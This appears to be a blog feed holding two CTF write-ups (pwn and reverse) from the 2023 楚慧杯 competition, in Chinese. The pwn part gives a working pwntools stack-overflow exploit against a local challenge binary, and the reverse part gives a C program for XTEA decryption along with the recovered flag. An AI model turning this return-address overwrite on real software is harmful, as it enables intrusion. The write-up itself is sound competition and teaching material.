Inf0 - 楚慧杯 2023-12-19T20:22:00+08:00 Typecho https://dirtycow.cn/feed/atom/tag/%E6%A5%9A%E6%85%A7%E6%9D%AF/ <![CDATA[2023楚慧杯初赛pwn部分WriteUp]]> https://dirtycow.cn/187.html 2023-12-19T20:22:00+08:00 2023-12-19T20:22:00+08:00 Inf0 http://dirtycow.cn base

思路:

checksec查看程序 开了NX保护

image-20231219194716217.png
image-20231219194716217.png

直接脱ida

简单分析一下

image-20231219200214179.png
image-20231219200214179.png

在49行程序gets了用户输入到input

image-20231219200424823.png
image-20231219200424823.png

发现input的大小是0x20

shift+f12查看字符串 发现了flag.txt

image-20231219201516217.png
image-20231219201516217.png

跟进去查看 推测是读取flag的函数 函数的地址是0x40490D

image-20231219201617949.png
image-20231219201617949.png

接下来我们构造payload

因为是64位程序 所以要用8个字节覆盖rbp

payload = b'A'*0x20 + b'B'*8 + p64(0x40490D+1)

exp:

from pwn import *
p = process('./base')
payload = b"A" * 0x20 + b"B" * 8  + p64(0x40490D+1)
p.sendline(b'1')
p.sendline(payload)
p.interactive()                      

image-20231219202123415.png
image-20231219202123415.png

]]>
<![CDATA[2023楚慧杯初赛reverse部分WriteUp]]> https://dirtycow.cn/186.html 2023-12-19T15:35:00+08:00 2023-12-19T15:35:00+08:00 Inf0 http://dirtycow.cn babyre

思路:

提示是xxtea加密

image-20231219142425780.png
image-20231219142425780.png

用ida打开,找到了key和加密后的data值

image-20231219142609263.png
image-20231219142609263.png

跟进去encode函数查看 发现这并不是xxtea加密,而是xtea加密,比赛的时候一直在用xxtea的脚本解,没解出来

image-20231219142741402.png
image-20231219142741402.png

接下来提取keyencode_data

qword_400E80qword_400E88拆成4个dword数据就是key即

int key[] = {0xDEADBEEF,87654321,0xFACEB00C,0xCAFEBABE};

encode_data也按照上述的数据类型提取

int data[] = {0x168F8672,0x2DBD824,0x0CF647FCA,0x0E6EFA7EF,0x4AE016F0,0x0C5832E1D,0x455C0A05,0x0FFEB8140,0x0BE9561EF,0x7F819E23,0x3BC04269,0x0C68B825B,0x0E6A5B1F0,0x0BD03CBBD,0x0A9B3CE0E,0x6C85E6E7,0x9F5C71EF,0x3BE4BD57};

image-20231219143124477.png
image-20231219143124477.png

直接拿脚本解密

exp

#include <stdio.h>
#include <stdint.h>
 
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
 
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
int main()
{
    uint32_t encode_data[]={
        0x168F8672,0x2DBD824,0x0CF647FCA,0x0E6EFA7EF,0x4AE016F0,0x0C5832E1D,0x455C0A05,
        0x0FFEB8140,0x0BE9561EF,0x7F819E23,0x3BC04269,0x0C68B825B,0x0E6A5B1F0,0x0BD03CBBD,
        0x0A9B3CE0E,0x6C85E6E7,0x9F5C71EF,0x3BE4BD57
        };
    uint32_t const key[] = {0xDEADBEEF,0x87654321,0xFACEB00C,0xCAFEBABE};
    unsigned int r=32;//num_rounds建议取值为32
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    // printf("加密前原始数据:%u %u\n",v[0],v[1]);
    // encipher(r, v, k);
    // printf("加密后的数据:%u %u\n",v[0],v[1]);
    uint32_t tmp[2] = {0};
    for(int i = 0; i < sizeof(encode_data)/sizeof(uint32_t); i+=2)
    {
        tmp[0] = encode_data[i];
        tmp[1] = encode_data[i+1];
        decipher(r,tmp, key);
        printf("%s",tmp);
    }
    return 0;
}

flag

DASCTF{Don't_forget_to_drink_tea}
]]>